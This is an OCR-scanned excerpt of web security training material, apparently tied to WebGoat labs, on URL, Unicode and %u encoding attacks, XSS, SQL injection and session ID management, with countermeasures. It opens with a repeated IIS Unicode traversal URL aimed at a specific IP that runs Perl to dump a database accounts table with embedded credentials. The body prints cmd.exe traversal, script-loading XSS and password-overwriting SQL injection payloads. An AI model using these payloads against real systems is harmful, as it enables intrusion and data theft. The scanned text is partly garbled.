http://81.6.5.232/scripts/..%c0%af../perl/bin/perl.exe?-Id:\perl\site\lib%20-Id:\perl\lib%20-e"use%20DBI;$dbh%3dDBI->connect('DBI:mysql:demoregister:192.168.30.33:3306','register','hallo');$sth%3d$dbh->prepare(\"SELECT%20*%20FROM%20`accounts`%20LIMIT%200,%2030;\");$sth->execute;while(@row%3d$sth->fetchrow_array%20){print%20\"@row\n\
http://81.6.5.232/scripts/..%c0%af../perl/bin/perl.exe?-Id:\perl\site\lib%20-Id:\perl\lib%20-e"use%20DBI;$dbh%3dDBI->connect('DBI:mysql:demoregister:192.168.30.33:3306','register','hallo');$sth%3d$dbh->prepare(\"SELECT%20*%20FROM%20`accounts`%20LIMIT%200,%2030;\");$sth->execute;while(@row%3d$sth->fetchrow_array%20){print%20\"@row\n\
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5.2 URL Encoding

Introduction

The query portion of the URL is often used to submit data to the server. URL-encoding is a technique defined in
the URL/URI specifications for mapping 8-bit data to the subset of the US-ASCII character set allowed in a
URL/URI. Without proper validation, URL-encoded input can be used to disguise malicious code for use in a
variety of attacks. A large proportion of these attacks could be prevented by understanding the methods for
encoding data currently supported by popular Internet protocols (such as HTTP) and hosting applications (such
as Microsoft’s Internet Information Server). In particular, an understanding of URL encoding techniques is
required. In many resources, the usage of various terms like Unicode, web encoding, percent-encoding,
escape-encoding and UTF encoding are used interchangeably. This document aims to enlighten developers and
security administrators on the issues associated with URL encoded attacks. It is also important to note that
many of the encoding methods and security implications are applicable to any application accepting data from a
client system.

Detail

Traditional web applications transfer data between client and server using the HTTP or HTTPS protocols. There
are basically two ways in which a server receives input from a client; data can be passed in the HTTP headers
(either via cookies or a posted form) or it can be included in the query portion of the requested URL. When data
is included in a URL, it must be specially encoded to conform to proper URL syntax.

The RFC 1738 specification defining Uniform Resource Locators (URLs) and the RFC 2396 specification for
Uniform Resource Identifiers (URIs) both restrict the characters allowed in a URL or URI to a subset of the US-
ASCII character set. According to the RFC 1738 specification, "only alphanumerics, the special characters "$-
_.+I*'(),", and reserved characters used for their reserved purposes may be used unencoded within a URL."
The data used by a web application, on the other hand, is not restricted in any way and in fact may be
represented by any existing character set or even binary data. Earlier versions of HTML allowed the entire
range of the ISO-8859-1 (ISO Latin-1) character set; the HTML 4.0 specification expanded to permit any
character in the Unicode character set.

URL-encoding a character is done by taking the character's 8-bit hexadecimal code and prefixing it with a
percent sign ("%"). For example, the US-ASCII character set represents a space with decimal code 32, or
hexadecimal 20. Thus its URL-encoded representation is %?20.

Even though certain characters do not need to be URL-encoded, any 8-bit code (i.e., decimal 0-255 or
hexadecimal 00-FF) may be encoded. ASCII control characters such as the NULL character (decimal code 0) can
be URL-encoded, as can all HTML entities and any meta characters used by the operating system or database.
Because URL-encoding allows virtually any data to be passed to the server, proper precautions must be taken
by a web application when accepting data. URL-encoding can be used as a mechanism for disguising many
types of malicious code.

URI Encoding Character Restrictions

Uniform Resource Indicators (URI) are a compact string of characters for identifying an abstract or physical
resource, typically a web based Uniform Resource Locator (URL). Certain rules and standards have been
established to ensure a constructed URI can be correctly interpreted by an application (for more information,
read “Uniform Resource Identifiers (URI): Generic Syntax”, http://www.ietf.org/rfc/rfc2396.txt).

Traditional web applications transfer data between client and server using the HTTP or HTTPS protocols. There
are essentially two methods in which a server receives input from a client; data can be passed in the HTTP
headers (submitted through the cookie field, or the post data field) or it can be included in the query portion of
the requested URL. When data is included in a URL, it must be specially encoded to conform to proper URL
syntax.

The standard (rfc2396) defines the following classes of characters:

e Unreserved - Data characters that do not have a reserved purpose. These include upper and lower
case characters, decimal digits, and a limited set of punctuation marks and symbols.
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e Reserved - Data characters that could conflict with the correct interpretation of a URI. Refers to those
characters that are allowed within a URI, but which may not be allowed within a particular segment of
the generic URI syntax.

Class Characters
Unreserved @-z, A-Z,0-9and _ . ! ~*"'()
Reserved ; /2 @& =+%,

When dealing with IPv6, it is advised that to use a literal IPv6 address in a URL, the literal address should be
enclosed in "[" and "]" characters. If this is the case, it is recommended that the characters “[* and “]” are
moved from the “unwise” list to the reserved list (for more information, read “Format for Literal IPv6 Addresses
in URL's” http://www.ietf.org/rfc/rfc2732.txt).

Escaped-encoding

Escaped-encoding, or sometimes referred to as percent-encoding, is the accepted method of representing
characters within a URI that may need special syntax handling to be correctly interpreted. This is achieved by
encoding the character to be interpreted with a sequence of three characters. This triplet sequence consists of
the percentage character “%" followed by the two hexadecimal digits representing the octet code of the original
character. For example, the US-ASCII character set represents a space with octet code 32, or hexadecimal 20.
Thus its URL-encoded representation is %?20.

Applications may automatically escape reserved and unreserved characters, or automatically un-escape an
escape-encoded sequence within a URI, if there is potential for it to be incorrectly interpreted by the remote
application. This conversion may be due to the position of the character or escape-encoded sequence within the
URI. For example, "%7e" is sometimes used instead of "~" in an http URL path, but the two are equivalent for
an http URL.

Because the percent "%" character always has the reserved purpose of being the escape indicator, it must be
escaped as "%?25" in order to be used as data within a URI. The RFC for URI encoding recommends that care
should be taken not to escape or un-escape the same string more than once, since un-escaping an already un-
escaped string might lead to misinterpreting a percent data character as another escaped character, or vice
versa in the case of escaping an already escaped string.

Unreserved characters can be escaped without changing the semantics of the URI, but this should not be done
unless the URI is being used in a context that does not allow the un-escaped character to appear.

The standard (rfc2396) defines the following groupings of characters that must be escaped to be included
within a URI.

Grouping Characters

Control <US-ASCII coded characters 00-1F and 7F hexadecimal>
Space <US-ASCII coded character 20 hexadecimal>

Delims <>#%"

Unwise {FINATT

Unicode-Encoding

Unicode was developed in a direct response to problems associated with multiple language implementations of
the ASCII character set. In the past, due to the limited size of the standard ASCII character reference table,
different languages could use the same reference number for different characters, or the same character may
have been represented by multiple reference numbers. As expected, this led to various problems in the display
and interpretation of data, as well as hundreds of different methods of encoding country specific characters.
These problems were further compounded by the necessity to reference an expanded array of commonly used
punctuation and technical symbols.

Unicode Encoding is a method of referencing and storing characters with multiple bytes by providing a unique
reference number for every character no matter what the language or platform. It is designed to allow a
Universal Character Set (UCS) to encompass most of the world's writing systems. Many modern communication
standards (such as XML, Java, LDAP, JavaScript, WML, etc.), operating systems and web clients/servers use
Unicode character values. Unicode (UCS-2 ISO 10646) is a 16-bit character encoding that contains all of the
characters (216 = 65,536 different characters total) in common use in the world's major languages.

Unfortunately, the extended referencing system is not completely compatible with many old (albeit common)
protocols and applications, and this has led to the development of a few UCS transformation formats (UTF) with
varying characteristics. One of the most commonly utilised formats, UTF-8, has the characteristic of preserving
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the full US-ASCII range. It is compatible with file systems, parsers and other software relying on US-ASCII
values, but it is transparent to other values.

UTF-8

In UTF-8, characters are encoded using sequences of 1 to 6 octets. The only octet of a "sequence" of one has
the higher-order bit set to 0, the remaining 7 bits being used to encode the character value. In a sequence of n
octets, n>1, the initial octet has the n higher-order bits set to 1, followed by a bit set to 0. The remaining bit(s)
of that octet contain bits from the value of the character to be encoded. The following octet(s) all have the
higher-order bit set to 1 and the following bit set to 0, leaving 6 bits in each to contain bits from the character
to be encoded.

The table below summarizes the format of these different octet types. The letter x indicates bits available for
encoding bits of the UCS-4 character value.

UCS-4 range (hex.) UTF-8 octet sequence (binary)

0000 0000-0000 O07F OxxxxxXX

0000 0080-0000 O7FF 110xxxxx 10xXXXXX

0000 0800-0000 FFFF 1110xxxX 10xXXXXX 10XXXXXX

0001 0000-001F FFFF 11110xxX 10xXXXXX 10XXXXXX 10XXXXXX

0020 0000-03FF FFFF 111110xx 10xxxxxX 10xxxXXXX 10XXXXXX 10XXXXXX

0400 0000-7FFF FFFF 1111110x 10xxxXXX 10XXXXXX 1OXXXXXX 10XXXXXX 1OXXXXXX

The UTF-8 translation has the following characteristics:

e Character values from 0000 0000 to 0000 007F (US-ASCII repertoire) correspond to octets 00 to 7F (7
bit US-ASCII values). A direct consequence is that a plain ASCII string is also a valid UTF-8 string.

The first octet of a multi-octet sequence indicates the number of octets in the sequence.
The octet values FE and FF never appear.

At the application level, earlier versions of HTML allowed the entire range of the ISO-8859-1 (ISO Latin-1)
character set; the HTML 4.0 specification expanded to permit any character in the Unicode character set.

This encoding scheme may not seem overly clear, therefore consider the character “.” (dot) with the UCS-4
hexadecimal value of 0000 002E (which is 2E in US-ASCII). In UTF-8 encoding, this value can be represented in
6 different ways:

2E (00101110)

CO AE (11000000 10101110)

EO0 80 AE (11100000 10000000 10101110)

FO 80 80 AE (11110000 10000000 10000000 10101110)

F8 80 80 80 AE (11111000 10000000 10000000 10000000 10101110)

FC 80 80 80 80 AE (11111100 10000000 10000000 10000000 10000000 10101110)

Thus, the character may be represented with two bytes (CO AE) by utilising the second UTF-8 level, three bytes
(EO 80 AE) by utilising the third UTF-8 level, and so on to 6 bytes as indicated above.

Abuse of Encoding Schemes
URL-Encoding

A popular method of manipulating a web application for malicious ends is to extend the functionality of the URL
in an HTTP or HTTPS request beyond that originally envisaged by the developer. Using a mix of escaped-
encoding and Unicode character representation, it is often possible for an attacker to craft requests that may be
interpreted by either the server or client environments as a valid application request. Even though certain
characters do not need to be escape-encoded, any 8-bit code (i.e., decimal 0-255 or hexadecimal 00-FF) may
be encoded. ASCII control characters such as the NULL character (decimal code 0) can be escape-encoded, as
can all HTML entities and any restricted characters used by the operating system or database. In some cases,
the encoding of URL information may be designed to purposefully disguise the nature of the attack.
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Examples of typical URL-Encoded attacks
Cross-Site Scripting

Excerpt from an arbitrary web page - “getdata.php”: echo $HTTP_GET_VARS[“data”];

URL-Encoded attack: http://target/getdata.php?data=%3cscript%20src=%22http%3a%2f%2f
www.badplace.com%2fnasty.js%22%3e%3c%2fscript%3e

HTML execution: <script src="http://www.badplace.com/nasty.js"></script>

SQL Injection

Original database query in the example file - “login.asp”: SQLQuery = “SELECT preferences FROM logintable
WHERE userid="" & Request.QueryString(“userid”) & *" AND password="" & Request.QueryString(“password”) &

\a
’

URL-encoded attack: http://target/login.asp?userid=bob%27%3b%?20update®%20logintable%20set%?20passwd
%3d%270wn3d%27%3b--%00

Executed database query: SELECT preferences FROM logintable WHERE userid='bob’; update logintable set
password="0wn3d’;

Multiple Decoding

Various guidelines and RFC's carefully explain the method of decoding escape encoded characters and hint at
the dangers associated with decoding multiple times and at multiple layers of an application. However, many
applications still incorrectly parse escape-encoded data multiple times.

The significance of this form of attack is directly related to the order of decoding the escape-encoded URI, and
when appropriate security checks are made on the validity of the URI data. For example, a commercial web
server may originally decode all escape-encoded characters; part of the security verification may include the
monitoring of “\..\"” path recursion for sanity checking and to ensure that directory-path information does not
expand beyond a defined limit. However, by escape-encoding this information multiple times, this security
check may be circumvented on the initial decoding pass. If this information is then passed onto another
application component, it may go through additional decoding, and result in an action not originally envisaged
by the application developer.

The multiple escape-encoding of characters or sequences such as “\"” or “..\" is particularly relevant in
previously successful attacks against applications hosted on Microsoft Windows operating systems. Consider the
character “\"” as the escape-encoded sequence “%5c”. It is possible to further encode this sequence by escape-
encoding each character individually (‘%' = %25, '5' = %35, 'c' = %63), and combining them together in
multiple ways or multiple times. For example:

%?255c¢
%°%35c¢
%%35%63
%25%35%63
etc.

Thus, the sequence “..\" may be represented by “..%255c”, *..%%?35c” or other permutation. After the first
decoding, the sequence "..%255c” is converted to “..%5c”, and only in the second decoding pass is the
sequence is finally converted to “..\".

Example of a multiple decoding attack
Microsoft 11S Double Decode

When loading an executable CGI program, IIS will decode twice. First, CGI filename will be decoded to check if
it is an executable file (for example, '.exe' or '.com' suffix check-up). Successfully passing the filename check-
up, IIS will run another decode process. Normally, only CGI parameters should be decoded in this process. But
this time IIS mistakenly decodes both CGI parameters and the decoded CGI filename. In this way, CGI filename
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is decoded twice by error.
(Visit http://www.microsoft.com/technet/security/bulletin/MS01-026.asp for more information)

Multiple decode attack: http://TARGET/scripts/..%255c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\

Host execution: dir c:\ (the directory list of C:\ is revealed)

Unicode Attacks

Describing how a Unicode attack functions, and why the resultant character string may be successful, is a
difficult task due to the extreme variety and resulting complexity of the of Unicode-encoding. Three issues are
prevalent; Character Mapping, Character Encoding, and how an application supports character mapping and
encoding.

e The UTF-8 sequence for a character may take one of six different representations. Consider the “.”
(dot) described earlier represented as 2E, CO AE, EO 80 AE, FO 80 80 AE, F8 80 80 80 AE, or FC 80 80
80 80 AE.

e The UTF-8 sequence may contain not invalid values such as FE and FF. Further information on invalid
values can be found at http://www.unicode.org/versions/corrigendum1.html.

In most circumstances, Unicode attacks have been successful due to poor security validating of the UTF-8
encoded character or string, and the interpretation of illegal octet sequences. Consider the following:

e An application may prohibit the use of the NUL character when parsed the single octet 00, but allow
the illegal two-octet sequence CO 80 and interpret it as a NUL.

e An application may use a “short-cut” when decoding UTF-8, and only decode the six least significant
bits. The two most significant bits, normally “10”, may also be replaced with “00”, "01” or *11”. Thus
the “.” (dot) may be represented as CO AE, CO 2E, CO 6E and CO EE.

11000000 10101110 (CO AE),
11000000 00101110 (CO 2E),
11000000 01101110 (CO 6E),
11000000 11101110 (CO EE).

e  Various application components may prohibit the use of the string “..\” and the corresponding single
octet sequence 2E 2E 5C, yet permit the illegal octet sequence 2E CO AE 5C.

In the majority of attacks, Unicode data will be escape-encoded for inclusion within the requested URL.
Depending upon the application receiving the encoded request, a successful attack may be made using valid or
invalid URL encoding.

e Valid URL encoding refers to the escape-encoding of each UTF-8 sequence octet. For example, the /"
(forward slash) UTF-8 sequence could be encoded as %C0%AF.

e Aninvalid URL encoding refers to the use of non-hexadecimal digits that may be incorrectly interpreted
as an alternative, but valid, hexadecimal digit. For example, %CO is interpreted as the character
number (‘\C" - A"+ 10 ) x16 + (0’ - '0’) = 192. Applying the same algorithm for alternative
representations:

%BG vyields, (‘B' — ‘A’ + 10) x 16 + (‘G’' — ‘0’) = 192

%S0 yields, (‘'S’— ‘A’ + 10) < 16 + (‘O — ‘0") = 448, which, when represented as a single byte (8
significant bits), yields 192.

%QF yields, (‘Q" — ‘A’ + 10) x 16 + (‘F' — ‘0’) = 431, which, when represented as a single byte (8
significant bits), yields 175. Corresponding to %AF.

Thus, if the application’s algorithm will accept non-hexadecimal digits (such as 'S’), then it may be
possible to have variants for %CO0 such as %S0 and %BG. In the case of the “/”, it is possible to
represent the character as %C0%AF or %BG%QF for example.

Example of a Unicode attack
Unicode Web Server Folder Traversal

\Very similar to the Microsoft IIS double decode vulnerability mentioned previously. However, this time the
double decode value %255c can be substituted for a variety of Unicode representations of the *\' or ‘/’
characters such as %c0%af, %c1%9c, %cl%pc, %c0%qf, %cl%8s, %cl%1c, %cl%af, and %e0%80%af.
IThe selection of a successful Unicode representation of *\" and ‘/’, based upon the language character set
installed and running on the host.
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(Visit http://www.microsoft.com/technet/security/bulletin/MS00-078.asp for more information)

Unicode attack: http://TARGET/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

Host execution: dir c:\ (the directory list of C:\ is revealed)

%ou Encoding

An application that supports %u encoding gains the ability to represent the full range of Unicode character
strings, beyond those normally available through escape-encoded UTF-8. At the present time, %u encoding is
not a recognised standard. However, Microsoft’s IIS Web server is one such application that supports %u
encoding.

The %u encoding schema takes the form “%u0061” for UTF-8 character “a”, where the value after %u is the
full Unicode value of the character. As previously discussed, the Unicode language code for UTF-8 is 00. Thus,
for comparison, the character “"A” under Basic Greek (03) would be represented as %u0394, and the character
“3" under Miscellaneous Symbols (26) would be represented by %u2642.

Attacks using this method of encoding character strings have been successful in the past largely due to
perimeter defence systems (e.g. content filtering) and intrusion detection systems (IDS) not being aware of the
encoding system, and therefore not decoding it.

Example of a %u Encoded attack
IDS Evasion of .ida buffer overflow

IThe CodeRed worm used the .ida buffer overflow vulnerability to be able to exploit systems to propagate.
CodeRed was detected because IDS systems had signatures for the .ida attacks. However if CodeRed would
have had a polymorphic %u encoding mechanism then it would have easily slipped past most IDS systems
because they detected the .ida attack by looking for ".ida" (or any .ida signature string) in a web request. So if
an attacker sent a %u encoded request then they could bypass IDS's checking for ".ida".

(Visit http://www.eeye.com/html/Research/Advisories/AD20010705.html and
http://www.microsoft.com/technet/security/bulletin/ms01-033.asp for more information)

%u encoded attack: http://TARGET/scripts/default.id%u0061?[buffer]=X where [buffer] is approximately
240 bytes
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Example 1

Cross-Site Scripting

Excerpt from script.php:

echo $HTTP_GET_VARS["mydata"];

HTTP request:
http://www.myserver.cOm/script.php?mydata=%3cscript%20src=%22http%3a%?2f%2fwww.yourserver.com

%2fbadscript.js%22%3e%3c%2fscript%3e

Generated HTML:
<script src="http://www.yourserver.cOm/badscript.js"></script>
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Example 2

SQL Injection
Original database query in search.asp:
sql = "SELECT Iname, fname, phone FROM usertable WHERE Iname="" & Request.QueryString("Iname") & "';"

HTTP request:
http://www.myserver.cOm/search.asp?lname=smith%?27%?3bupdate%?20usertable%?20set%20passwd

%3d%27hAX0r%27%3b--%00

Executed database query:
SELECT Iname, fname, phone FROM usertable WHERE Iname="'smith';update usertable set passwd="'hAx0r';--

Countermeasure

= Avoid using the "GET" method to submit forms. The "GET" method causes the form data to be
appended to the URL. Use the "POST" method whenever possible.

=  When the URL must be used to pass data to the server, limit the type of data allowed as much as
possible, and never allow textual data. Use strict validation rules to ensure the submitted data is of the
correct type and size.

L] If textual data must be submitted via the URL, thoroughly validate and sanitize the data before use.
Many web servers automatically decode URL-encoded variables behind the scenes. The decoded input
should be properly validated and sanitized before being used. Validation techniques vary depending on
how the data is to be used (e.g., display, data access, system access, etc.).

L] Do not rely on client-side code to validate data. Client-side code may be used to create user-friendly
messages, but it can be easily bypassed by a malicious user. Even if data is validated on the client, it
should be re-validated and sanitized on the server to ensure it was not tampered with.
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5.3 Exercises

Exercise 1 : Weak Access Control using unicode
Conduct the exercise at

http://127.0.0.1:9090/WebGoat/attack?Screen=9

Your task is to attempt to access directories not located under the webserver root directory

Except this time use unicode to perform the exercise

Exercise 2 : SQL Injection using unicode
Using the exercise located at

http://127.0.0.1:9090/WebGoat/attack?Screen=10

your task is to add to the SQL command submitted in the form to read all the accounts located on the
database.

Except this time use unicode to perform the exercise
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6. Authentication & Session Management

Overview

The stateless nature of HTTP requires organisations and solution developers to find other methods of uniquely
tracking a visitor through a web-base application. Various methods of managing a visitor’s session have been
proposed and used, but the most popular method is through the use of unique session IDs. Unfortunately, in
too many cases organisations have incorrectly applied session ID management techniques that have left their
“secure” application open to abuse and possible hijacking. This document reviews the common assumptions and
flaws organisations have made and proposes methods to make their session management more secure and
robust.

Understanding the Situation

Most organisations now have substantial investments in their online Internet presences. For major financial
institutions and retailers, the Internet provides both a cost effective means of presenting their services and
products to customer, and a method of delivering a personalised 24-7 presence. In almost all cases, the
preferred method of delivering these services is over common HTTP. Due to the way this protocol works, there
is no inbuilt facility to uniquely identify or track a particular customer (or session) within an application - thus
the connection between the customer’s web-browser and the organisations web-service is referred to as
stateless. Therefore, organisations have been forced to adopt custom methods of managing client sessions if
they wish to maintain state.

The most common method of tracking a customer through a web site is by assigning a unique session ID - and
having this information transmitted back to the web server with every request. Unfortunately, should an
attacker guess or steal this session ID information, it is normally a trivial exercise to hijack and manipulate
another user’s active session.

An important aspect of correctly managing state information through session IDs relates directly to
authentication processes. While it is possible to insist that a client using an organisations web application
provide authentication information for each “restricted” page or data submission, it would soon become tedious
and untenable. Thus session IDs are not only used to follow clients throughout the web application, they are
also used to uniquely identify an authenticated user - thereby indirectly regulating access to site content or
information.

The methods available to organisations for successfully managing sessions and preventing hijacking type
attacks are largely dependant upon the answers to a number of critical questions:

1. Where and how often are legitimate clients expected to utilise the web-based application?

2. At what stage does the organisation really need to manage the state of a client’s session?

3. What level of damage could be done to the legitimate client should an attacker be able to impersonate

and hijack their account?

How much time is someone likely to invest in breaking the session management method?

How will the application identify or respond to potential or real hijacking attempts?

What is the significance to application usability should it be necessary to use an encrypted version of

HTTP (HTTPS)?

7. What would be the cost to the organisations reputation should information about a security flaw in any
session management be made public?

ouk

Finding answers to these questions will enable the organisation to evaluate the likelihood and financial risk of
an inappropriate or poorly implemented session management solution.

Maintaining State

Typically, the process of managing the state of a web-based client is through the use of session IDs. Session
IDs are used by the application to uniquely identify a client browser, while background (server-side) processes
are used to associate the session ID with a level of access. Thus, once a client has successfully authenticated to
the web application, the session ID can be used as a stored authentication voucher so that the client does not
have to retype their login information with each page request.

Organisations application developers have three methods available to them to both allocate and receive session
ID information:
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e Session ID information embedded in the URL, which is received by the application through HTTP GET
requests when the client clicks on links embedded with a page.

e Session ID information stored within the fields of a form and submitted to the application. Typically the
session ID information would be embedded within the form as a hidden field and submitted with the
HTTP POST command.

e  Through the use of cookies.

Each method has certain advantages and disadvantages, and one may be more appropriate than another.
Selection of one method over another is largely dependant upon the type of service the web application is to
deliver and the intended audience. Listed below is a more detailed analysis of the three methods. It is
important that an organisations system developers understand the limitations and security implications of each
delivery mechanism.

URL Based Session ID's
Session ID information embedded in the URL, which is received by the application through HTTP GET requests
when the client clicks on links.

Example: http://www.example.com/news.asp?article=27781;sessionid=1E60012219
IAdvantages:

e Can be used even if the client web-browser has high security settings and has disabled the use of
cookies.

e Access to the information resource can be sent by the client to other users by providing them with a
copy of the URL.

e If the Session ID is to be permanently associated with the client-browser and their computer, it is
possible for the client to “Save as a favourite”.

e Depending upon the web browser type, URL information is commonly sent in the HTTP REFERER field.
This information can be used to ensure a site visitor has followed a particular path within the web
application, and subsequently used to identify some common forms of attack.

Disadvantages:

e Any person using the same computer will be able to review the browser history file or stored favourites
and follow the same URL.

e URL information will be logged by intermediary systems such as firewalls and proxy servers. Thus
anyone with access to these logs could observe the URL and possibly use the information in an attack.

e It is a trivial exercise for anyone to modify the URL and associated session ID information within a
standard web browser. Thus, the skills and equipment necessary to carry out the attack are minimal -
resulting in more frequent attacks.

e When a client navigates to a new web site, the URL containing the session information can be sent to
the new site via the HTTP REFERER field.

Hidden Post Fields

Session ID information stored within the fields of a form and submitted to the application. Typically the session
ID information would be embedded within the form as a hidden field and submitted with the HTTP POST
command.

Example: Embedded within the HTML of a page -

<FORM METHOD=POST ACTION="/cgi-bin/news.pl”>

<INPUT TYPE="hidden” NAME="sessionid” VALUE="IE60012219">
<INPUT TYPE="hidden” NAME="allowed” VALUE="true">

<INPUT TYPE="submit” NAME="Read News Article”>

IAdvantages:

e Not as obvious as URL embedded session information, and consequently requires a slightly higher skill
level for an attacker to carry out any manipulation or hijacking.

e Allows a client to safely store or transmit URL information relating to the site without providing access
to their session information.

e Can also be used even if the client web-browser has high security settings and has disabled the use of
cookies.

Disadvantages:
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e  While it requires a slightly higher skill level to perform, attacks can be carried out using commonly
available tools such as Telnet or via personal proxy services.

e The web application page content tends to be more complex - relying upon embedded form
information, client-side scripting such as JavaScript, or embedded within active content such as
Macromedia Flash. In addition - pages tend to be larger, requiring more time for the client to download
and thus perceiving the site as slower and more unresponsive.

e Due to poor coding practices, a failure to check the submission type (i.e. GET or POST) at the server
side may allow the POST content to be reformed into a URL that could be submitted via the HTTP GET
method.

Cookies

Each time a client web browser accesses content from a particular domain or URL, if a cookie exists, the client
browser is expected to submit any relevant cookie information as part of the HTTP request. Thus cookies can be
used to preserve knowledge of the client browser across many pages and over periods of time. Cookies can be
constructed to contain expiry information and may last beyond a single interactive session. Such cookies are
referred to as “persistent cookies”, and are stored on the client browsers hard-drive in a location defined by the
particular browser or operating system (e.g. c:\documents and settings\clientname\cookies for Internet
Explorer on Windows XP). By omitting expiration information from a cookie, the client browser is expected to
store the cookie only in memory. These “session cookies” should be erased when the browser is closed.

Example: Within the plain text of the HTTP server response -

Set-Cookie: sessionID="1E60012219"; path="/"; domain="www.example.com”; expires="2003-06-01
00:00:00GMT”; version=0
Advantages:

e  Careful use of persistent and session type cookies can be used to regulate access to the web
application over time.

e  More options are available for controlling session ID timeouts.
Session information is unlikely to be recorded by intermediary devices.

Cookie functionality is built in to most browsers. Thus no special coding is required to ensure session
ID information is embedded within the pages served to the client browser.

Disadvantages:

e An increasingly common security precaution with web browsers is to disable cookie functionality. Thus
web applications dependant upon the cookie function will not work for “security conscious” users.

e As persistent cookies exist as text files on the client system, they can be easily copied used on other
systems. Depending on the hosts file access permissions, other users of the host may steal this
information and impersonate the user.

e Cookies are limited in size, and are unsuitable for storing complex arrays of state information.

e  Cookies will be sent with very page and file requested by the browser within the domain defined by the
SET-COOKIE.

The Session ID

An important aspect of managing state within the web application is the “strength” of the session ID itself. As
the session ID is often used to track an authenticated user through the application, organisations must be
aware that this session ID must fulfil a particular set of criteria if it is not to be compromised through predictive
or brute-force type attacks. The two critical characteristics of a good session ID are randomness and length.

Session ID Randomness

It is important that the session ID is unpredictable and the application utilises a strong method of generating
random ID’s. It is vital that a cryptographically strong algorithm is used to generate a unique session ID for an
authenticated user. Ideally the session ID should be a random value. Do not use linear algorithms based upon
predictable variables such as date, time and client IP address.

To this end, the session ID should fulfil the following criteria:

e It must look random - i.e. it should pass statistical tests of randomness.
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e It must be unpredictable - i.e. it must be infeasible to predict what the next random value will be,
given complete knowledge of the computational algorithm or hardware generating the ID and all
previous ID’s.

e It cannot be reliably reproduced - i.e. if the ID generator is used twice with exactly the same input
criteria, the result will be an unrelated random ID.

Session ID Length

It is important that the session ID be of a sufficient length to make it infeasible that a brute force method could
be used to successfully derive a valid ID within a usable timeframe. Given current processor and bandwidth
limitations, session ID’s consisting of over 50 random characters in length are recommended - but make them
longer if the opportunity exists.

The actual length of the session ID is dependant upon a number of factors:

e Speed of connection - i.e. there is typically a big difference between Internet client, B2B and internal
network connections. While an Internet client will typically have less than a 512 kbps connection
speed, an internal user may be capable of connecting to the application server at 200 times faster.
Thus an internal user could potentially obtain a valid session ID in 1/200th of the time.

e  Complexity of the ID - i.e. what values and characters are used within the session ID? Moving from
numeric values (0-9) to a case-sensitive alpha-numeric (a-z, A-Z, 0-9) range means that, for the same
address space, the session ID becomes much more difficult to predict. For example, the nhumeric range
of 000000-999999 could be covered by 0000-5BH7 using a case-sensitive alpha-numeric character
set.

Common Failings

While web based session management is important for tracking users and their navigation throughout an
application, the most critical use is to maintain the state information of an authenticated user as he carries out
his allowed functions. For online banking and retail environments, using an appropriately strong session
management method is crucial to the success of the organisation.

In the past, I have had the opportunity to investigate session handling techniques for many of my client’s
business critical online applications. Based upon these investigations, this section details some of the most
common failings and assumptions that have been made.

Predictable Session ID’s

The most common flaw in session ID usage has always been predictability. As discussed earlier, the two causes
are a lack of randomness, or length, or both.

e Sequential allocation of Session ID’s — Each visitor to the site is allocated a session ID in sequential
order. Thus, by observing your own session ID information, the simple practice of replacing it with
another value a few iterations up or down will allow the attacker to impersonate another user.

e Session ID values are too short — The full range of valid session ID’s could be covered during an
automated attack before there is time for the session to expire.

e Common hashing techniques - While many commercial web services have built in functions for
calculating hashed information, these mechanisms are well known and available for reproduction. A
hashing function will indeed create a session ID value that appears to be unique and great care should
be taken to ensure that predicable information is not used in the generation of the hash. For example,
there have been cases where the “unique” hash was based upon the local system time, and the IP
address of the connecting host. Using the same hashing function, the attacker would be able to pre-
calculate a large number of time dependant hashes for a popular internet portal or proxy service (i.e.
AOL), and use them to brute force any existing session from that service.

e  Session Obfuscation — The use of a custom method of obscuring data and using it for session
management. It is never a sound idea to include client or other confidential information within a
session ID. For example, some organisations have even tried encoding the user’s name and password
within the session ID using a shifted Unicode and hexadecimal representation of the information.

Insecure Transmission

For banking and retailing applications it is crucial that all confidential material and session information be
transmitted securely and not vulnerable to observation or replay attacks. Unfortunately many commercial
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packages have failed in the past to secure the integrity of their session management due to insecure
transmission.

e Use Encryption when sending session information — As mentioned earlier, there are a lot of instances
whereby a users connection to the application server will be logged if not sent over an encrypted
channel, such as HTTPS. This is particularly important for applications that require high a degree of
confidentiality. If using the cookie method for managing session IDs, organisations should note that
the client browser will submit the session ID with every request (this includes pages and graphics) and
may even submit it to other servers within the same domain - which may or may not be done over a
secure data channel.

e  Use different session ID’s when shifting between secure and insecure application components — As a
new user navigates the web application as a “guest”, use a different session ID than what would be
allocated in the secure part of the application. Never use the same session ID information in the
authenticated and unauthenticated sections of the web application. Again, ensure that the session ID
to be used in the secure part of the web application is not predictable and based on the previous ID.
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Length of Session Validity

For secure applications all session information should be time limited and allow for client-side cancellation or
server-side revocation.

e Client Cancellation — Many web applications fail to allow for client-side cancellation such as “log-out”. If
the intention is to allow users to interact with the application from anywhere, including Internet Cafes,
organisations need to be aware that other users can use the same machine and trawl through the
“history” and cached page information. If the session has not been cancelled, it is a trivial exercise for
the next user of the computer to “resume” the last connection.

e Session Timeout — Again, when dealing with the possibility of shared client computers, it is extremely
important that there is a limited lifetime (or period of inactivity) after which the session will
automatically expire. The expiry time should be kept to a minimum period, and is dependant upon the
nature of the application. Ideally the application should be capable of monitoring the period of
inactivity for each session ID and be able to delete or revoke the session ID when a threshold has
been reached.

e Server Revocation - In some circumstances it may be necessary to cancel an session at the server-
side. Likely events include when the user leaves the insecure part of the application and enters the
secure part with a new session ID. Alternatively, should some kind of attack be recorded by the server,
it would be advisable to revoke the session associated with the attackers system.

Session Verification

The processes for handling and manipulating session ID information must be robust and capable of correctly
handing attacks targeting the content within.

e Session ID Length - Ensure that the content of the session ID is of the expected size and type, and
that the quality of the information is verified before processing. For instance, be capable of identifying
over-sized session ID’s that may constitute a buffer overflow type attack. Additionally, ensure that the
content of the session ID does not contain unexpected information - for example, if the session ID will
be used within the application’s backend database, care should be taken that the session ID does not
contain embedded data strings that may be interpreted as an extension to the 'Select' SQL query.

e  Source of the Session ID - When using the HTTP POST method for communication session information,
ensure that the application is capable of discerning whether the session ID was delivered to the
application from the client browser through the HTTP POST method, and not through a manipulated
GET request. Converting HTTP POST into a GET request is a common method of conducting cross-site
scripting attacks and other distributed brute force attacks.

Good Session Management

Depending upon the applications purpose, various methods of implementing session handling are available to
developers and some may be more applicable than another. For applications requiring the maximum level of
session handling security, options are limited, and require a mix of methods described earlier in this document.
The following example currently represents one of the most secure methods of handling sessions, but is
